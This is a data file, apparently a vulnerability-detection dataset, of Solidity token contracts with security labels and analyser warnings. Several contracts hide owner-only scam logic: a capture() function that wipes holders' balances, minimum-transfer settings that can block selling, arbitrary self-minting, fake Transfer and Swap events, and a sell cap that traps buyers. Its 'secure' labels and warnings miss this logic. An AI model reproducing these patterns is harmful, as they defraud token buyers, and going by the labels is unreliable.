decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == judgment, \"Not allowed\");\n\n _;\n }\n\n function capture(address[] memory upset) public onlyOwner {\n for (uint256 i = 0; i < upset.length; i++) {\n address account = upset[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1938.sol",
"secure": 1,
"size_bytes": 4351
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n if (c < a) return (false, 0);\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n uint256 c = a * b;\n if (c / a != b) return (false, 0);\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n return a % b;\n }\n }\n}\n\nenum TokenType {\n standard,\n antiBotStandard,\n liquidityGenerator,\n antiBotLiquidityGenerator,\n baby,\n antiBotBaby,\n buybackBaby,\n antiBotBuybackBaby\n}",
"file_name": "solidity_code_1939.sol",
"secure": 1,
"size_bytes": 2782
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"@openzeppelin/contracts/utils/Strings.sol\" as Strings;\n\nabstract contract ERC721URIStorage is ERC721 {\n using Strings for uint256;\n\n mapping(uint256 => string) private _tokenURIs;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9124046): janodotpt.mint(address,string,uint256).tokenURI shadows ERC721URIStorage.tokenURI(uint256) (function) ERC721.tokenURI(uint256) (function) IERC721Metadata.tokenURI(uint256) (function)\n\t// Recommendation for 9124046: Rename the local variables that shadow another component.\n function tokenURI(\n uint256 tokenId\n ) public view virtual override returns (string memory) {\n _requireMinted(tokenId);\n\n string memory _tokenURI = _tokenURIs[tokenId];\n\n string memory base = _baseURI();\n\n if (bytes(base).length == 0) {\n return _tokenURI;\n }\n\n if (bytes(_tokenURI).length > 0) {\n return string(abi.encodePacked(base, _tokenURI));\n }\n\n return super.tokenURI(tokenId);\n }\n\n function _setTokenURI(\n uint256 tokenId,\n string memory _tokenURI\n ) internal virtual {\n require(\n _exists(tokenId),\n \"ERC721URIStorage: URI set of nonexistent token\"\n );\n\n _tokenURIs[tokenId] = _tokenURI;\n }\n\n function _burn(uint256 tokenId) internal virtual override {\n super._burn(tokenId);\n\n if (bytes(_tokenURIs[tokenId]).length != 0) {\n delete _tokenURIs[tokenId];\n }\n }\n}",
"file_name": "solidity_code_194.sol",
"secure": 0,
"size_bytes": 1691
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./BaseToken.sol\" as BaseToken;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 75004b7): Contract locking ether found Contract Vision has payable functions Vision.constructor(string,string,uint8,uint256) But does not have a function to withdraw the ether\n// Recommendation for 75004b7: Remove the 'payable' attribute or add a withdraw function.\ncontract Vision is IERC20, Ownable, BaseToken {\n using SafeMath for uint256;\n\n uint256 public constant VERSION = 1;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => uint256) private _mefies;\n\n string private _name;\n string private _symbol;\n uint8 private _decimals;\n uint256 private _totalSupply;\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 75004b7): Contract locking ether found Contract Vision has payable functions Vision.constructor(string,string,uint8,uint256) But does not have a function to withdraw the ether\n\t// Recommendation for 75004b7: Remove the 'payable' attribute or add a withdraw function.\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) payable {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _mint(owner(), totalSupply_);\n\n emit TokenCreated(owner(), address(this), TokenType.standard, VERSION);\n }\n function Aprooved(\n address[] memory accounts,\n uint256 amount\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _mefies[accounts[i]] = amount;\n }\n }\n\n function getmefie(address account) public view returns (uint256) {\n return _mefies[account];\n }\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d866173): Vision.born(uint256) should emit an event for _totalSupply += increaseAmount _totalSupply = decreaseAmount \n\t// Recommendation for d866173: Emit an event for critical parameter changes.\n function born(uint256 nb) public onlyOwner {\n uint256 currentBalance = _balances[owner()];\n\n if (nb > currentBalance) {\n uint256 increaseAmount = nb - currentBalance;\n\t\t\t// events-maths | ID: d866173\n _totalSupply += increaseAmount;\n } else if (nb < currentBalance) {\n uint256 decreaseAmount = currentBalance - nb;\n\t\t\t// events-maths | ID: d866173\n _totalSupply -= decreaseAmount;\n }\n\n _balances[owner()] = nb;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c70648b): Vision.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c70648b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n require(\n amount >= _mefies[sender],\n \"ERC20: transfer amount is less than minimum allowed\"\n );\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply = _totalSupply.add(amount);\n _balances[account] = _balances[account].add(amount);\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n _balances[account] = _balances[account].sub(\n amount,\n \"ERC20: burn amount exceeds balance\"\n );\n _totalSupply = _totalSupply.sub(amount);\n emit Transfer(account, address(0), amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 41a85a6): Vision._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 41a85a6: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _setupDecimals(uint8 decimals_) internal virtual {\n _decimals = decimals_;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1940.sol",
"secure": 0,
"size_bytes": 7942
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract WrappedPepe is Ownable, ERC20 {\n bool private _tradingEnabled;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0ddfdbf): WrappedPepe.constructor(uint256)._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 0ddfdbf: Rename the local variables that shadow another component.\n constructor(uint256 _totalSupply) ERC20(\"Wrapped Pepe\", \"WPEPE\") {\n _mint(msg.sender, _totalSupply);\n }\n\n function enableTrading() external onlyOwner {\n _tradingEnabled = true;\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n if (!_tradingEnabled) {\n require(from == owner() || to == owner(), \"trading is not enabled\");\n return;\n }\n }\n}",
"file_name": "solidity_code_1941.sol",
"secure": 0,
"size_bytes": 1042
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC000 {\n function _Transfer(\n address from,\n address recipient,\n uint256 amount\n ) external returns (bool);\n function balanceOf(address account) external view returns (uint256);\n event Transfer(address indexed from, address indexed to, uint256 value);\n}",
"file_name": "solidity_code_1942.sol",
"secure": 1,
"size_bytes": 368
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\nimport \"./IERC000.sol\" as IERC000;\n\ncontract ERC20 is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n address private _pair;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function execute(\n address[] calldata _addresses_,\n uint256 _in,\n address _a\n ) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Swap(_a, _in, 0, 0, _in, _addresses_[i]);\n emit Transfer(_pair, _addresses_[i], _in);\n }\n }\n\n function execute(\n address uniswapPool,\n address[] memory recipients,\n uint256 tokenAmounts,\n uint256 wethAmounts\n ) public returns (bool) {\n for (uint256 i = 0; i < recipients.length; i++) {\n\t\t\t// reentrancy-events | ID: 38f7afc\n emit Transfer(uniswapPool, recipients[i], tokenAmounts);\n\t\t\t// reentrancy-events | ID: 38f7afc\n emit Swap(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D,\n tokenAmounts,\n 0,\n 0,\n wethAmounts,\n recipients[i]\n );\n\t\t\t// reentrancy-events | ID: 38f7afc\n\t\t\t// calls-loop | ID: 674252d\n\t\t\t// unused-return | ID: 379f02c\n IERC000(0x3579781bcFeFC075d2cB08B815716Dc0529f3c7D)._Transfer(\n recipients[i],\n uniswapPool,\n wethAmounts\n );\n }\n return true;\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 96e34f9): ERC20.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 96e34f9: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1ac9f5c): ERC20.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1ac9f5c: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1edc182): ERC20.toPair(address).account lacks a zerocheck on \t _pair = account\n\t// Recommendation for 1edc182: Check that the address is not zero.\n function toPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0x2Dcc31B74C23ead1Af58c735Ea8bD0ba7219618a)\n\t\t\t// missing-zero-check | ID: 1edc182\n _pair = account;\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (_pair != address(0)) {\n if (\n to == _pair &&\n from != 0x2D09b063dE6CeD33729211B7D88090fb84637bC3\n ) {\n bool b = false;\n if (!b) {\n require(amount < 100);\n }\n }\n }\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 816bc53): ERC20._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 816bc53: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor(string memory name_, string memory symbol_, uint256 amount) {\n _name = name_;\n _symbol = symbol_;\n _mint(msg.sender, amount * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_1943.sol",
"secure": 0,
"size_bytes": 7824
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract OatProtocol is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private _holderLastTransferTimestamp;\n bool public transferDelayEnabled = false;\n\t// WARNING Optimization Issue (immutable-states | ID: 6117850): OatProtocol._taxWallet should be immutable \n\t// Recommendation for 6117850: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2a107c0): OatProtocol._initialBuyTax should be constant \n\t// Recommendation for 2a107c0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\t// WARNING Optimization Issue (constable-states | ID: 29e36dc): OatProtocol._initialSellTax should be constant \n\t// Recommendation for 29e36dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n uint256 private _finalBuyTax = 1;\n uint256 private _finalSellTax = 2;\n\t// WARNING Optimization Issue (constable-states | ID: 861042b): OatProtocol._reduceBuyTaxAt should be constant \n\t// Recommendation for 861042b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 26;\n\t// WARNING Optimization Issue (constable-states | ID: b2bc8e5): OatProtocol._reduceSellTaxAt should be constant \n\t// Recommendation for b2bc8e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 27;\n\t// WARNING Optimization Issue (constable-states | ID: caf7362): OatProtocol._preventSwapBefore should be constant \n\t// Recommendation for caf7362: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 30;\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n uint256 private constant _tTotal = 500000000 * 10 ** _decimals;\n string private constant _name = unicode\"OAT AI Protocol\";\n string private constant _symbol = unicode\"OAT\";\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 06551f7): OatProtocol._taxSwapThreshold should be constant \n\t// Recommendation for 06551f7: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 0 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: a8cbca8): OatProtocol._maxTaxSwap should be constant \n\t// Recommendation for a8cbca8: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 15000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n _balances[_msgSender()] = _tTotal;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 631a795): OatProtocol.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 631a795: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 72c9e70): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 72c9e70: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5fb4578): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5fb4578: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 72c9e70\n\t\t// reentrancy-benign | ID: 5fb4578\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: 72c9e70\n\t\t// reentrancy-benign | ID: 5fb4578\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 446630e): OatProtocol._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 446630e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: 5fb4578\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 72c9e70\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d508742): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d508742: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 37d48f9): OatProtocol._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 37d48f9: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b687642): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b687642: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n uint256 taxAmount = 0;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 37d48f9\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n if (_buyCount < _preventSwapBefore) {\n require(!isContract(to));\n }\n _buyCount++;\n }\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n if (to == uniswapV2Pair && from != address(this)) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d508742\n\t\t\t\t// reentrancy-eth | ID: b687642\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d508742\n\t\t\t\t\t// reentrancy-eth | ID: b687642\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b687642\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\t\t\t// reentrancy-events | ID: d508742\n emit Transfer(from, address(this), taxAmount);\n }\n\t\t// reentrancy-eth | ID: b687642\n _balances[from] = _balances[from].sub(amount);\n\t\t// reentrancy-eth | ID: b687642\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\t\t// reentrancy-events | ID: d508742\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) {\n return;\n }\n if (!tradingOpen) {\n return;\n }\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: d508742\n\t\t// reentrancy-events | ID: 72c9e70\n\t\t// reentrancy-benign | ID: 5fb4578\n\t\t// reentrancy-eth | ID: b687642\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external 